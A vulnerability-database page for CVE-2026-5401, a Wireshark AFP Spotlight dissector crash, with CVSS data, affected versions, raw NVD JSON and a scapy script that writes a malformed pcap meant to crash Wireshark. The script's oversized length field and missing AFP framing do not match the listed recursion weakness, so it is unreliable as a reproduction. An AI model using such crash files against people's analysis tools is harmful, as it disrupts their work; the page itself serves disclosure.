Security Vulnerability Report
中文
CVE-2026-5401 CVSS 5.5 MEDIUM

CVE-2026-5401

Published: 2026-04-30 07:16:38
Last Modified: 2026-05-01 19:26:37

Description

AFP Spotlight protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.4.0 - 4.4.14
Wireshark 4.6.0 - 4.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-5401 # This script generates a malformed AFP Spotlight packet to crash Wireshark. # Note: Requires scapy to be installed. from scapy.all import * # Define a custom AFP Spotlight layer with malformed length class AFP_Spotlight_Malformed(Packet): name = "AFP Spotlight Malformed" fields_desc = [ ByteField("type", 0x02), IntField("length", 0xFFFFFFFF), # Malformed length to trigger overflow/crash StrLenField("data", "A" * 10, length_from=lambda pkt: 10) ] # Construct the packet ether = Ether() ip = IP(dst="127.0.0.1") tcp = TCP(sport=12345, dport=548) # AFP port malformed_payload = AFP_Spotlight_Malformed() packet = ether / ip / tcp / malformed_payload # Save to pcap file wrpcap("cve_2026_5401_poc.pcap", packet) print("[+] PoC file generated: cve_2026_5401_poc.pcap") print("[+] Open this file with a vulnerable Wireshark version to reproduce the crash.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5401", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:37.720", "lastModified": "2026-05-01T19:26:36.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AFP Spotlight protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/21088", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-13.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/issues/21088", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}